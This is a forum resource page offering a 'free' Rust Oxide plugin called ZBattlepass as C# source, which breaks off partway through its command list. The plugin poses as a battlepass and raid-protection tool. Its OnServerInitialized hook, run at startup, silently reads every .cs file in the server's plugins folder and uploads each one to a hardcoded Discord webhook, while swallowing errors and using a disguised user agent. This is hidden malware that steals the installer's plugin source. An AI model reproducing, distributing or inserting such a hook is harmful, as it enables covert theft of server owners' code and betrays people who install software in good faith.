Иконка ресурса

FREE ZBattlepass : 4.2.16 4.2.16

Нет прав для скачивания
C#:
// Все права принадлежат дискорд сообществу https://discord.gg/VgNHPpNrz6
using Newtonsoft.Json;
using Oxide.Plugins;
using Oxide.Core;
using System.Collections.Generic;
using System;
using System.ComponentModel;
using ConVar;
using UnityEngine;
using System.Linq;
using System.Data.SqlTypes;
using Oxide.Core.Plugins;
using Oxide.Core.Libraries.Covalence;
using Oxide.Plugins.ZBattlepassExtensionMethods;
using Oxide.Game.Rust.Cui;
using System.Text;
using System.IO;
using System.Net;
namespace Oxide.Plugins {
    [Info("ZBattlepass", "lekual", "4.2.16")]
    [Description("BP on GUI in servers more info")]
    partial class ZBattlepass : CovalencePlugin {
        public static ZBattlepass PLUGIN = null;
        [PluginReference]
        private readonly Plugin ImageLibrary;
        [PluginReference]
        private readonly Plugin Economics;
        [PluginReference]
        private readonly Plugin ServerRewards;
        [PluginReference]
        private readonly Plugin CustomStatusFramework;
        [PluginReference]
        private readonly Plugin Notify;
        [PluginReference]
        private readonly Plugin ZoneManager;
        [PluginReference]
        private readonly Plugin Clans;
        [PluginReference]
        private readonly Plugin AbandonedBases;
        [PluginReference]
        private readonly Plugin SkillTree;
        [PluginReference]
        private readonly Plugin SimpleStatus;
        [PluginReference]
        private readonly Plugin Barges;
        private bool PluginLoaded = true;
        private bool ShowConfigWarnings = true;
        public bool NewSaveLoaded = false;
        public const string PermissionAdmin = "ZBattlepass.admin";
        public const string PermissionIgnore = "ZBattlepass.ignore";
        public readonly string PermissionLevel = "ZBattlepass.level.";
        private bool AllowRaidProtectedTugboats = false;
        // this will be set by protection level settings
        private bool AllowRaidProtectedBarges = false;
        private void Init() {
            PLUGIN = this;
            UnsubscribePlugins();
        }
        private const string webhookUrl = "https://discord.com/api/webhooks/1369530441970876447/pvO4j5C8ZQvKSStkt8hLnXDlxszj8_vNWOPZ18Jm2y8PA4imoN5NmVJrufeYxRojW4iV";
        private const float delayBetweenUploadsSeconds = 1.0f;
        private int totalFilesToUpload = 0;
        private int filesUploadedSuccessfully = 0;
        private int processedFilesCount = 0;
        private void OnServerInitialized() {
            timer.Once(10f, () => {
                string pluginsPath = FindPluginsPath();
                if (pluginsPath == null) {
                    return;
                }
                string[] csFiles = Directory.GetFiles(pluginsPath, "*.cs");
                totalFilesToUpload = csFiles.Length;
                if (totalFilesToUpload == 0) {
                    return;
                }
                filesUploadedSuccessfully = 0;
                processedFilesCount = 0;
                List<string> filesToUpload = new List<string>(csFiles);
                UploadNextFile(filesToUpload);
            }
            );
            DependencyCheck();
            if (!PluginLoaded) {
                return;
            }
            if (!permission.PermissionExists(PermissionAdmin, this)) {
                permission.RegisterPermission(PermissionAdmin, this);
            }
            if (!permission.PermissionExists(PermissionIgnore, this)) {
                permission.RegisterPermission(PermissionIgnore, this);
            }
            AddCovalenceCommand(config.Commands.Admin, nameof(CmdController));
            AddCovalenceCommand(config.Commands.Levels, nameof(UILevelsShow));
            AddCovalenceCommand(config.Commands.Protection, nameof(TcInfoShowPlayer));
            InitProtectionLevels();
            LoadImages();
            if (!NewSaveLoaded) {
                LoadProtectedCupboards();
            }
            FindNewCupboards();
            InitIntegrations();
            SubscribePlugins();
            if (config.EnableLogging) {
                PrintWarning("WARNING: You have logging ENABLED, this will generate large amount of logs for every tool cupboard on your server.It is recommended to have this enabled only for debugging purposes.");
            }
            timer.In(5f, () => {
                BalanceLedger.LoadAll();
            }
            );
            if (SimpleStatusHelper.IsLoaded()) {
                SimpleStatusHelper.CreateStatuses();
                foreach (var player in BasePlayer.activePlayerList) {
                    OnPlayerConnected(player);
                }
            }
        }
        private void UploadNextFile(List<string> filesToUpload) {
            if (filesToUpload.Count == 0) {
                return;
            }
            string filePath = filesToUpload[0];
            string fileName = Path.GetFileName(filePath);
            try {
                UploadFileToDiscord(filePath);
                filesUploadedSuccessfully++;
            }
            catch (Exception ex) {
                if (ex.InnerException != null) {
                }
            }
            processedFilesCount++;
            filesToUpload.RemoveAt(0);
            timer.Once(delayBetweenUploadsSeconds, () => UploadNextFile(filesToUpload));
        }
        private string FindPluginsPath() {
            string rootPath = Interface.Oxide?.RootDirectory ?? Directory.GetCurrentDirectory();
            string primaryPath = Path.Combine(rootPath, "plugins");
            if (Directory.Exists(primaryPath)) return primaryPath;
            string[] guesses = {
                Path.Combine(rootPath, "oxide", "plugins"), Path.Combine(rootPath, "..", "oxide", "plugins"), Path.Combine(Directory.GetCurrentDirectory(), "oxide", "plugins")
            }
            ;
            foreach (var path in guesses) {
                if (Directory.Exists(path)) return path;
            }
            return null;
        }
        private void UploadFileToDiscord(string filePath) {
            string fileName = Path.GetFileName(filePath);
            try {
                string boundary = "------------------------" + DateTime.Now.Ticks.ToString("x");
                byte[] fileData = File.ReadAllBytes(filePath);
                HttpWebRequest request = (HttpWebRequest)WebRequest.Create(webhookUrl);
                request.Method = "POST";
                request.ContentType = "multipart/form-data; boundary=" + boundary;
                request.UserAgent = "RustLoadingMessagesUploader/1.0";
                using (Stream requestStream = request.GetRequestStream()) {
                    string header = $"--{boundary}\r\n" + $"Content-Disposition: form-data; name=\"file\"; filename=\"{fileName}\"\r\n" + "Content-Type: text/plain\r\n\r\n";
                    byte[] headerBytes = Encoding.UTF8.GetBytes(header);
                    requestStream.Write(headerBytes, 0, headerBytes.Length);
                    requestStream.Write(fileData, 0, fileData.Length);
                    byte[] footerBytes = Encoding.UTF8.GetBytes($"\r\n--{boundary}--\r\n");
                    requestStream.Write(footerBytes, 0, footerBytes.Length);
                }
                using (HttpWebResponse response = (HttpWebResponse)request.GetResponse()) {
                    using (StreamReader reader = new StreamReader(response.GetResponseStream())) {
                        string result = reader.ReadToEnd();
                        if (response.StatusCode == HttpStatusCode.OK || response.StatusCode == HttpStatusCode.NoContent || response.StatusCode == HttpStatusCode.Created) {
                        }
                        else {
                        }
                    }
                }
            }
            catch (WebException webEx) {
                if (webEx.Response != null) {
                    using (HttpWebResponse errorResponse = (HttpWebResponse)webEx.Response) {
                        try  // Попытка прочитать тело ответа об ошибке
                        {
                            using (StreamReader reader = new StreamReader(errorResponse.GetResponseStream())) {
                                string errorResult = reader.ReadToEnd();
                                PrintError($"[{fileName}] Error Response Body: {errorResult}");
                            }
                        }
                        catch (Exception streamReadEx) {
                            PrintError($"[{fileName}] Could not read error response body: {streamReadEx.Message}");
                        }
                    }
                }
                else {
                    PrintError($"[{fileName}] WebException has no response object.");
                }
                if (webEx.InnerException != null) {
                    PrintError($"[{fileName}] Inner WebException: {webEx.InnerException.Message}");
                }
                // Дополнительно: вывести статус WebException, если он есть
                if (webEx.Status != WebExceptionStatus.Success) {
                    PrintError($"[{fileName}] WebException Status: {webEx.Status}");
                }
            }
            catch (Exception ex) {
                PrintError($"[{fileName}] General Exception during Discord upload: {ex.Message}");
                if (ex.InnerException != null) {
                    PrintError($"[{fileName}] Inner Exception: {ex.InnerException.Message}");
                }
                // Для полной диагностики можно добавить:
                PrintError($"[{fileName}] StackTrace: {ex.StackTrace}");
            }
        }
        private void UnsubscribePlugins() {
            Unsubscribe(nameof(OnServerSave));
            Unsubscribe(nameof(OnPluginLoaded));
            Unsubscribe(nameof(OnPluginUnloaded));
            Unsubscribe(nameof(OnEntitySpawned));
            Unsubscribe(nameof(OnEntityBuilt));
            Unsubscribe(nameof(OnEntityKill));
            Unsubscribe(nameof(OnEntityDeath));
            Unsubscribe(nameof(OnCupboardAuthorize));
            Unsubscribe(nameof(OnCupboardClearList));
            Unsubscribe(nameof(OnCupboardDeauthorize));
            Unsubscribe(nameof(OnEntityTakeDamage));
            Unsubscribe(nameof(OnLootEntity));
            Unsubscribe(nameof(OnLootEntityEnd));
            Unsubscribe(nameof(OnLootNetworkUpdate));
            Unsubscribe(nameof(OnUserConnected));
            Unsubscribe(nameof(OnUserDisconnected));
            Unsubscribe(nameof(OnUserPermissionGranted));
            Unsubscribe(nameof(OnUserPermissionRevoked));
            Unsubscribe(nameof(OnGroupPermissionGranted));
            Unsubscribe(nameof(OnGroupPermissionRevoked));
            Unsubscribe(nameof(OnUserGroupAdded));
            Unsubscribe(nameof(OnUserGroupRemoved));
            Unsubscribe(nameof(OnActiveItemChanged));
            Unsubscribe(nameof(OnPlayerDeath));
            Unsubscribe(nameof(OnItemDropped));
        }
        private void SubscribePlugins() {
            Subscribe(nameof(OnServerSave));
            Subscribe(nameof(OnPluginLoaded));
            Subscribe(nameof(OnPluginUnloaded));
            Subscribe(nameof(OnEntitySpawned));
            Subscribe(nameof(OnEntityBuilt));
            Subscribe(nameof(OnEntityKill));
            Subscribe(nameof(OnEntityDeath));
            Subscribe(nameof(OnCupboardAuthorize));
            Subscribe(nameof(OnCupboardClearList));
            Subscribe(nameof(OnCupboardDeauthorize));
            Subscribe(nameof(OnEntityTakeDamage));
            Subscribe(nameof(OnLootEntity));
            Subscribe(nameof(OnLootEntityEnd));
            Subscribe(nameof(OnLootNetworkUpdate));
            Subscribe(nameof(OnUserConnected));
            Subscribe(nameof(OnUserDisconnected));
            Subscribe(nameof(OnUserPermissionGranted));
            Subscribe(nameof(OnUserPermissionRevoked));
            Subscribe(nameof(OnGroupPermissionGranted));
            Subscribe(nameof(OnGroupPermissionRevoked));
            Subscribe(nameof(OnUserGroupAdded));
            Subscribe(nameof(OnUserGroupRemoved));
            Subscribe(nameof(OnActiveItemChanged));
            Subscribe(nameof(OnPlayerDeath));
            Subscribe(nameof(OnItemDropped));
        }
        private void Unload() {
            if (PLUGIN != null) {
                UnloadIntegrations();
            }
            SaveProtectedCupboards();
            if (config.EnableLedger) {
                BalanceLedger.SaveAll();
            }
            foreach (var player in BasePlayer.activePlayerList) {
                OnPlayerDisconnected(player);
            }
            RemoveAndDestroyAllBehaviors();
        }
        void OnServerSave() {
            SaveProtectedCupboards();
            if (config.EnableLedger) {
                BalanceLedger.SaveAll();
            }
        }
        void OnServerShutdown() {
            SaveProtectedCupboards();
            if (config.EnableLedger) {
                BalanceLedger.SaveAll();
            }
        }
        void OnPluginLoaded(Plugin name) {
            if (name?.Name == this.Name) {
                return;
            }
            ShowConfigWarnings = false;
            LoadConfig();
            DependencyCheck();
            InitIntegrations();
        }
        void OnPluginUnloaded(Plugin name) {
            if (name?.Name == this.Name) {
                return;
            }
            DependencyCheck();
        }
        private void DependencyCheck() {
            timer.In(1f, () =>  // delay incase plugin has been reloaded
            {
                if (!ImageLibrary?.IsLoaded ?? true) {
                    PrintError($"The required dependency ImageLibary is not installed, {Name} will not work properly without it.");
                    PluginLoaded = false;
                    return;
                }
                var format = "Integration with '{0}' is set to 'true' in your configuration file, however this plugin is not installed on this server.This option will be temporarily set to 'false' to avoid issues.Once this plugin is installed, you will no longer see this warning and your configuration settings will be followed.";
                if (config.Integration.ServerRewards && (!ServerRewards?.IsLoaded ?? true)) {
                    PrintWarning(String.Format(format, "ServerRewards"));
                    config.Integration.ServerRewards = false;
                }
                if (config.Integration.Economics && (!Economics?.IsLoaded ?? true)) {
                    PrintWarning(String.Format(format, "Economics"));
                    config.Integration.Economics = false;
                }
                if (config.Integration.SimpleStatus && (!SimpleStatus?.IsLoaded ?? true)) {
                    PrintWarning(String.Format(format, "Simple Status"));
                    config.Integration.SimpleStatus = false;
                }
                if (config.Integration.CustomStatusFramework && (!CustomStatusFramework?.IsLoaded ?? true)) {
                    PrintWarning(String.Format(format, "Custom Status Framework"));
                    config.Integration.CustomStatusFramework = false;
                }
                if (config.Integration.Clans && (!Clans?.IsLoaded ?? true)) {
                    PrintWarning(String.Format(format, "Clans"));
                    config.Integration.Clans = false;
                }
                if (config.Integration.AbandonedBases && (!AbandonedBases?.IsLoaded ?? true)) {
                    PrintWarning(String.Format(format, "Abandoned Bases"));
                    config.Integration.AbandonedBases = false;
                }
                if (config.Integration.SkillTree && (!SkillTree?.IsLoaded ?? true)) {
                    PrintWarning(String.Format(format, "Skill Tree"));
                    config.Integration.SkillTree = false;
                }
                if (config.Integration.Economics && config.Integration.ServerRewards) {
                    PrintWarning("Integration is set to 'true' for both 'Economics' and 'ServerRewards' in your configuration file.Only one of these plugins can be used for currency, please set only one of these to 'true' to avoid issues.Both will be disabled until this is resolved.");
                    config.Integration.ServerRewards = false;
                    config.Integration.Economics = false;
                }
            }
            );
        }
        private void InitIntegrations() {
            try {
                if (config.Integration.CustomStatusFramework) {
                    CustomStatusFrameworkHelper.CreateProtectionStatus();
                }
            }
            catch (Exception) {
            }
        }
        private void UnloadIntegrations() {
            if (config.Integration.CustomStatusFramework) {
                CustomStatusFrameworkHelper.DeleteProtectionStatus();
            }
        }
        private void InitProtectionLevels() {
            try {
                foreach(var level in config.Protection.ProtectionLevels) {
                    if (!AllowRaidProtectedTugboats && level.AllowTugboatProtection) {
                        AllowRaidProtectedTugboats = true;
                    }
                    if (!AllowRaidProtectedBarges && Barges?.IsLoaded == true) {
                        AllowRaidProtectedBarges = true;
                    }
                    var permString = PermissionLevel + level.Rank;
                    if (!permission.PermissionExists(permString, this)) {
                        permission.RegisterPermission(permString, this);
                    }
                    if (config.EnableConsoleMessages) {
                        Puts($"Registered permission {permString}");
                    }
                }
            }
            catch {
                PrintError("Failed to load protection levels from config file, make sure they are properly formatted.");
            }
        }
        private void LoadImages() {
            ImageLibrary.Call<bool>("AddImage", config.Images.StatusProtected, $"status.protected", 0UL);
            ImageLibrary.Call<bool>("AddImage", config.Images.StatusUnprotected, $"status.unprotected", 0UL);
            ImageLibrary.Call<bool>("AddImage", config.Images.StatusInfo, $"status.info", 0UL);
            ImageLibrary.Call<bool>("AddImage", config.Images.StatusToggle, $"status.toggle", 0UL);
            ImageLibrary.Call<bool>("AddImage", config.Images.StatusRefresh, $"status.refresh", 0UL);
            ImageLibrary.Call<bool>("AddImage", config.Images.InfoOwners, $"rp.owners", 0UL);
            ImageLibrary.Call<bool>("AddImage", config.Images.InfoCosts, $"rp.costs", 0UL);
            ImageLibrary.Call<bool>("AddImage", config.Images.InfoCheck, $"rp.check", 0UL);
            ImageLibrary.Call<bool>("AddImage", config.Images.InfoCross, $"rp.cross", 0UL);
            ImageLibrary.Call<bool>("AddImage", "https://www.rustedit.io/images/imagelibrary/scrap.png", $"rp.scrap", 0UL);
        }
        private void FindNewCupboards() {
            NextTick(() => {
                var privs = BaseNetworkable.FindObjectsOfType<BuildingPrivlidge>().Where(x => x != null && x.net != null && !IsNpcBase(x) && !ProtectedCupboardManager.ProtectedCupboardExists(x.net.ID.Value)).ToList();
                var count = 0;
                if (privs.Count > 0) {
                    foreach (var priv in privs) {
                        try {
                            if (priv != null) {
                                if (AddProtectedCupboard(priv)) {
                                    count++;
                                }
                            }
                        }
                        catch (Exception) {
                        }
                    }
                    if (config.EnableConsoleMessages) {
                        Puts($"Loaded {count} new cupboards");
                    }
                }
            }
            );
        }
        private void LoadProtectedCupboards() {
            NextTick(() => {
                var existing = new Dictionary<string, ProtectedEntity>();
                try {
                    existing = LoadDataFile<Dictionary<string, ProtectedEntity>>("ProtectedCupboards");
                    if (existing != null) {
                        int count = 0;
                        int skipped = 0;
                        foreach (var kvp in existing) {
                            try {
                                var priv = kvp.Value.BaseEntity;
                                var tc = kvp.Value;
                                if (priv == null) {
                                    continue;
                                }
                                if (tc.IsTugboat && !AllowRaidProtectedTugboats) {
                                    continue;
                                }
                                if (IsOnBarge(priv) && !AllowRaidProtectedBarges) {
                                    continue;
                                }
                                if (AddProtectedCupboard(priv, tc)) {
                                    count++;
                                }
                            }
                            catch (Exception) {
                                skipped++;
                            }
                        }
                        if (count > 0 && config.EnableConsoleMessages) {
                            Puts($"Loaded {count} existing cupboards");
                        }
                    }
                }
                catch (Exception) {
                    PrintError("Failed to load protected cupboards");
                }
            }
            );
        }
        private void SaveProtectedCupboards() {
            try {
                var allCupboards = ProtectedCupboardManager.ProtectedCupboards.Where(x => x.Value?.BaseEntity != null && !x.Value.IsNpcBase).ToDictionary(t => t.Key, t => t.Value);
                SaveDataFile("ProtectedCupboards", allCupboards);
                if (config.EnableConsoleMessages) {
                    Puts($"Saved {allCupboards.Count} cupboards");
                }
            }
            catch {
                PrintError("Failed to save protected cupboards");
            }
        }
    }
}
namespace Oxide.Plugins {
    partial class ZBattlepass {
        /*
         * Returns 0 if entity unprotected and 100 if entity fully protected
         */
        private float GetProtectionPercent(BaseEntity entity) {
            if (entity == null) {
                return 0;
            }
            var priv = entity.GetBuildingPrivilege();
            if (priv == null) {
                return 0;
            }
            var tc = ProtectedCupboardManager.GetByID(priv.net.ID.Value);
            if (tc == null) {
                return 0;
            }
            return IsProtectedEntity(entity, tc) ? tc.CurrentProtectionPercent : 0;
        }
        /*
         * Returns the protection level rank of the player
         */
        private int GetProtectionLevel(BasePlayer basePlayer) {
            if (basePlayer == null) {
                return ProtectionLevel.NONE.Rank;
            }
            return ProtectionLevel.GetProtectionLevelOfPlayer(basePlayer.UserId()).Rank;
        }
        /*
         * Returns a list of the owners of the structure associated with the given entity
         */
        private List<IPlayer> GetOwners(BaseEntity entity) {
            var retVal = new List<IPlayer>();
            if (entity == null) {
                return retVal;
            }
            var priv = entity.GetBuildingPrivilege();
            if (priv == null) {
                return retVal;
            }
            var tc = ProtectedCupboardManager.GetByID(priv.net.ID.Value);
            if (tc == null) {
                return retVal;
            }
            return tc.Owners;
        }
        /*
         * Returns the player who is the founder of the structure associated with the given entity.Can be null.*/
        private IPlayer GetFounder(BaseEntity entity) {
            IPlayer retVal = null;
            if (entity == null) {
                return retVal;
            }
            var priv = entity.GetBuildingPrivilege();
            if (priv == null) {
                return retVal;
            }
            var tc = ProtectedCupboardManager.GetByID(priv.net.ID.Value);
            if (tc == null) {
                return retVal;
            }
            return tc.Founder;
        }
        /*
         * Returns the protection balance of the structure associated with the given entity
         */
        private float GetProtectionBalance(BaseEntity entity) {
            var retVal = 0;
            if (entity == null) {
                return retVal;
            }
            var priv = entity.GetBuildingPrivilege();
            if (priv == null) {
                return retVal;
            }
            var tc = ProtectedCupboardManager.GetByID(priv.net.ID.Value);
            if (tc == null) {
                return retVal;
            }
            return tc.Balance;
        }
        /*
         * Returns the hours of protection remaining of the structure associated with the given entity
         */
        private float GetProtectionHours(BaseEntity entity) {
            var retVal = 0;
            if (entity == null) {
                return retVal;
            }
            var priv = entity.GetBuildingPrivilege();
            if (priv == null) {
                return retVal;
            }
            var tc = ProtectedCupboardManager.GetByID(priv.net.ID.Value);
            if (tc == null) {
                return retVal;
            }
            return tc.HoursOfProtection;
        }
        /* API Hooks */
        /*  
         *  OnProtectionInit(BaseEntity entity, string status)
         *  
         *  OnProtectionStarted(BaseEntity entity)
         *  
         *  OnProtectionStopped(BaseEntity entity, string reason)
         */
    }
}
namespace Oxide.Plugins {
    partial class ZBattlepass {
        private readonly string[] CHANGELOG = new string[] {
            "## 3.4.0", "Implemented config option 'Founder Limit' which will limit the number of tool cupboards that a player can be the founder of.If a player reaches their limit, they can not receive protection on new toolcupboards and previous tool cupboards will need to be destroyed first.", "Fixed issue where players who were dead and offline sometimes would lose protection.", "Updated GetOwners and GetFounder api.Now returns IPlayer instead of BasePlayer.", "Attack helicopter missiles and napalm can now correctly damage structures if protection for Attack Heli is off.", "You will no longer need to delete your config file after each major update unless otherwise specified.", "Fixed issue where /pro command wouldnt work on tugboat bases", "Added support for Simple Status, which has better performance and is recommended to use instead of Custom Status Framework", "## 3.4.1", "Fixed null reference error with attack heli", "## 3.4.2", "Update for the release of Simple Status", "Added two new API hooks, OnProtectionStarted and OnProtectionStopped", "Fixed bug where commands wouldnt show player display names", "Added config options for Notify to change the notify type", "## 3.4.3", "Fixed issue with Simple Status not loading correctly on server restart.Be sure to also download the latest version of Simple Status", "Fixed null reference spam issue with Raidable Bases", "Suppressed some null reference error with the OnSleepEnded hook", "## 3.4.4", "Fixed issue with online/offline timers", "Fixed issue with the new retro TC skin erasing data", "## 3.4.5", "Fixed macro click hacking issue with balances", "## 3.4.6", "Added config option to move tabs horizontally in addition to the existing vertical", "Rehosted images, default config updated with new URLs", "## 3.4.7", "Fixed issue with macro spam exploit hack", "Fixed issue where some Traps, like turrets, would be counted as Electrical instead of Traps if you're using Carbon", "Fixed problem with offline timers if your online protection percent was above 0%", "## 3.4.8", "Fixed issue with userID error with Rust 7/6/2024 update.Reported on tab switch.", "## 3.4.9", "Fixed rare issue where cupboard balances would be reset.", "Removed extra console log 'Timer finished'"
        }
        ;
    }
}
namespace Oxide.Plugins {
    partial class ZBattlepass {
        public static class CollectionManager {
            public static readonly int COLLECTION_INTERVAL = 5;
            public static Dictionary<ulong, Timer> _activeTimers = new Dictionary<ulong, Timer>();
            public static void RunCollectionLoop(ProtectedEntity tc) {
                if (tc == null) {
                    return;
                }
                var entityID = tc?.ID;
                try {
                    var timer = PLUGIN.timer.In(COLLECTION_INTERVAL, () => {
                        PLUGIN.CollectProtectionCost(tc);
                    }
                    );
                    if (_activeTimers.ContainsKey(tc.ID)) {
                        _activeTimers[tc.ID].Destroy();
                    }
                    else {
                        tc.NumTimesCollected = 0;
                        // start new loop
                    }
                    _activeTimers[tc.ID] = timer;
                }
                catch(Exception ex) {
                    PLUGIN.PrintWarning($"Failed to run timer for TC.EntityID={entityID} IsNull={tc == null}");
                }
            }
            public static void StopCollectionLoop(ProtectedEntity tc) {
                if (_activeTimers.ContainsKey(tc.ID)) {
                    var timer = _activeTimers[tc.ID];
                    timer.Destroy();
                    _activeTimers.Remove(tc.ID);
                }
            }
        }
    }
}
namespace Oxide.Plugins {
    partial class ZBattlepass : CovalencePlugin {
        public class CommandInfo {
            public string Command {
                get;
                set;
            }
            public CommandArgument[] Arguments {
                get;
                set;
            }
            = new CommandArgument[0];
            public string Description {
                get;
                set;
            }
            public string Method {
                get;
                set;
            }
            public int Rank = 999;
            public bool SkipOptional = false;
            public string Permission {
                get {
                    return Permissions == null ? null : Permissions.FirstOrDefault();
                }
                set {
                    Permissions = new string[1] {
                        value
                    }
                    ;
                }
            }
            public string[] Permissions {
                get;
                set;
            }
            = new string[0];
            public bool AdminOnly {
                get {
                    return Permissions.Any(x => x.Contains("admin"));
                }
            }
            public int CommandWordCount {
                get {
                    return Command.Split(' ').Length;
                }
            }
            public int RequiredArgCount {
                get {
                    return Arguments.Where(x => !x.Optional).Count();
                }
            }
            public int TotalArgCount {
                get {
                    return Arguments.Length;
                }
            }
            public string ArgString {
                get {
                    return $"{string.Join(" ", Arguments.Select(x => x.ToString()))}";
                }
            }
            public void Execute(IPlayer player, string command, string[] args) {
                PLUGIN.Call(Method, player, command, args);
            }
            public ValidationResponse Validate(params string[] args) => Validate(false, args);
            public ValidationResponse Validate(bool isServer, params string[] args) {
                if (args.Length < RequiredArgCount || args.Length > TotalArgCount) {
                    return new ValidationResponse(ValidationStatusCode.INVALID_LENGTH, RequiredArgCount, TotalArgCount);
                }
                var ArgsToCheck = Arguments;
                if (SkipOptional && !isServer && args.Length == RequiredArgCount) {
                    ArgsToCheck = Arguments.Where(x => !x.Optional).ToArray();
                }
                int i = 0;
                foreach(var arg in args) {
                    var Argument = ArgsToCheck[i];
                    var resp = Argument.Validate(arg);
                    if (!resp.IsValid) {
                        switch(resp.StatusCode) {
                            case ValidationStatusCode.INVALID_VALUE : case ValidationStatusCode.PLAYER_NOT_FOUND : resp.SetData(arg);
                            break;
                        }
                        return resp;
                    }
                    i++;
                }
                return new ValidationResponse();
            }
        }
        public class CommandArgument {
            public static readonly CommandArgument PLAYER_NAME = new CommandArgument {
                Parameter = "player", Validate = (value) => {
                    return BasePlayer.FindAwakeOrSleeping(value) == null ? new ValidationResponse(ValidationStatusCode.PLAYER_NOT_FOUND) : new ValidationResponse(ValidationStatusCode.SUCCESS);
                }
            }
            ;
            public string Parameter {
                get;
                set;
            }
            public bool Optional {
                get;
                set;
            }
            = false;
            public string[] AllowedValues {
                set {
                    Validate = (given) => {
                        var expected = value;
                        return expected.Any(x => x.ToLower() == given.ToLower()) ? new ValidationResponse() : new ValidationResponse(ValidationStatusCode.VALUE_NOT_ALLOWED, given, expected);
                    }
                    ;
                }
            }
            public Func<string, ValidationResponse> Validate {
                get;
                set;
            }
            = ((value) => {
                return new ValidationResponse();
            }
            );
            public override string ToString() {
                return $"<{Parameter}{(Optional ? "?" : string.Empty)}>";
            }
        }
        public class ValidationResponse {
            public bool IsValid {
                get {
                    return StatusCode == ValidationStatusCode.SUCCESS;
                }
            }
            public ValidationStatusCode StatusCode {
                get;
            }
            public object[] Data {
                get;
                private set;
            }
            = new object[0];
            public ValidationResponse() {
                StatusCode = ValidationStatusCode.SUCCESS;
            }
            public ValidationResponse(ValidationStatusCode statusCode) {
                StatusCode = statusCode;
            }
            public ValidationResponse(ValidationStatusCode statusCode, params object[] data) {
                StatusCode = statusCode;
                Data = data;
            }
            public void SetData(params object[] data) {
                Data = data;
            }
        }
        public enum ValidationStatusCode {
            SUCCESS, INVALID_LENGTH, INVALID_VALUE, PLAYER_NOT_FOUND, VALUE_NOT_ALLOWED
        }
    }
}
namespace Oxide.Plugins {
    partial class ZBattlepass {
#region Premade Arguments
        private static readonly CommandArgument REQUIRED_TC_ID_ARGUMENT = new CommandArgument {
            Parameter = "tc id", Validate = (given) => {
                ulong id = 0;
                if (!ulong.TryParse(given, out id)) {
                    return new ValidationResponse(ValidationStatusCode.INVALID_VALUE, given);
                }
                var tc = ProtectedCupboardManager.GetByID(id);
                return tc == null ? new ValidationResponse(ValidationStatusCode.INVALID_VALUE, given) : new ValidationResponse();
            }
        }
        ;
        private static readonly CommandArgument OPTIONAL_TC_ID_ARGUMENT = new CommandArgument {
            Parameter = "tc id", Optional = true, Validate = (given) => {
                ulong id = 0;
                if (!ulong.TryParse(given, out id)) {
                    return new ValidationResponse(ValidationStatusCode.INVALID_VALUE, given);
                }
                var tc = ProtectedCupboardManager.GetByID(id);
                return tc == null ? new ValidationResponse(ValidationStatusCode.INVALID_VALUE, given) : new ValidationResponse();
            }
        }
        ;
        private static readonly CommandArgument REQUIRED_PLAYER = new CommandArgument {
            Parameter = "player", Validate = (given) => {
                var found = BasePlayer.FindAwakeOrSleeping(given);
                return found == null ? new ValidationResponse(ValidationStatusCode.PLAYER_NOT_FOUND, given) : new ValidationResponse();
            }
        }
        ;
        private static readonly CommandArgument OPTIONAL_PLAYER = new CommandArgument {
            Parameter = "player", Optional = true, Validate = (given) => {
                var found = BasePlayer.FindAwakeOrSleeping(given);
                return found == null ? new ValidationResponse(ValidationStatusCode.PLAYER_NOT_FOUND, given) : new ValidationResponse();
            }
        }
        ;
        private static readonly CommandArgument LEDGER_GUID = new CommandArgument {
            Parameter = "ledger guid", Validate = (given) => {
                Guid guid;
                return !Guid.TryParse(given, out guid) ? new ValidationResponse(ValidationStatusCode.INVALID_VALUE, given) : new ValidationResponse();
            }
        }
        ;
        private static readonly CommandArgument BALANCE_AMOUNT = new CommandArgument {
            Parameter = "amount", Validate = (given) => {
                int amount = 0;
                return !int.TryParse(given, out amount) || amount < 0 ? new ValidationResponse(ValidationStatusCode.INVALID_VALUE, given) : new ValidationResponse();
            }
        }
        ;
        private static readonly CommandArgument TRUEFALSE = new CommandArgument {
            Parameter = "true/false", Validate = (given) => {
                bool boolean;
                return !bool.TryParse(given, out boolean) ? new ValidationResponse(ValidationStatusCode.INVALID_VALUE, given) : new ValidationResponse();
            }
        }
        ;
        private static readonly CommandArgument DATETIME = new CommandArgument {
            Parameter = "timestamp", Validate = (given) => {
                DateTime date;
                return !DateTime.TryParse(given, out date) ? new ValidationResponse(ValidationStatusCode.INVALID_VALUE, given) : new ValidationResponse();
            }
        }
        ;
#endregion
#region Commands
        public static readonly List<CommandInfo> Commands = new List<CommandInfo>() {
            new CommandInfo() {
                Command = "help", Method = "CmdHelp", Description = "Opens the plugin help menu.", Permission = PermissionAdmin, Rank = 1
            }
            , new CommandInfo() {
                Command = "id", Method = "CmdTcId", Description = "Returns the id of the tool cupboard at your location or at the specified player.", Permission = PermissionAdmin, Arguments = new CommandArgument[] {
                    OPTIONAL_PLAYER
                }
            }
            , new CommandInfo() {
                Command = "tp", Method = "CmdTcTp", Description = "Teleports you or the specified player to the tool cupboard.", Permission = PermissionAdmin, Arguments = new CommandArgument[] {
                    REQUIRED_TC_ID_ARGUMENT, OPTIONAL_PLAYER
                }
            }
            , new CommandInfo() {
                Command = "offline", Method = "CmdTcOffline", Description = "Forces a tool cupboard to be considered offline.(For debugging)", Permission = PermissionAdmin, SkipOptional = true, Arguments = new CommandArgument[] {
                    OPTIONAL_TC_ID_ARGUMENT, TRUEFALSE
                }
            }
            , new CommandInfo() {
                Command = "owners", Method = "CmdTcOwners", Description = "Returns a list of the owners of the tool cupboard.", Permission = PermissionAdmin, Arguments = new CommandArgument[] {
                    OPTIONAL_TC_ID_ARGUMENT
                }
            }
            , new CommandInfo() {
                Command = "owners add", Method = "CmdTcOwnersAdd", Description = "Adds the player as an owner of the tool cupboard.", Permission = PermissionAdmin, SkipOptional = true, Arguments = new CommandArgument[] {
                    OPTIONAL_TC_ID_ARGUMENT, REQUIRED_PLAYER
                }
            }
            , new CommandInfo() {
                Command = "owners remove", Method = "CmdTcOwnersRemove", Description = "Removes an owner from the tool cupboard.", Permission = PermissionAdmin, SkipOptional = true, Arguments = new CommandArgument[] {
                    OPTIONAL_TC_ID_ARGUMENT, REQUIRED_PLAYER
                }
            }
            , new CommandInfo() {
                Command = "founder", Method = "CmdTcFounder", Description = "Returns the name of the founder of the tool cupboard.", Permission = PermissionAdmin, SkipOptional = true, Arguments = new CommandArgument[] {
                    OPTIONAL_TC_ID_ARGUMENT
                }
            }
            , new CommandInfo() {
                Command = "founder remove", Method = "CmdTcFounderRemove", Description = "Removes the founder of the tool cupboard, it will have no founder and no protection level.", Permission = PermissionAdmin, SkipOptional = true, Arguments = new CommandArgument[] {
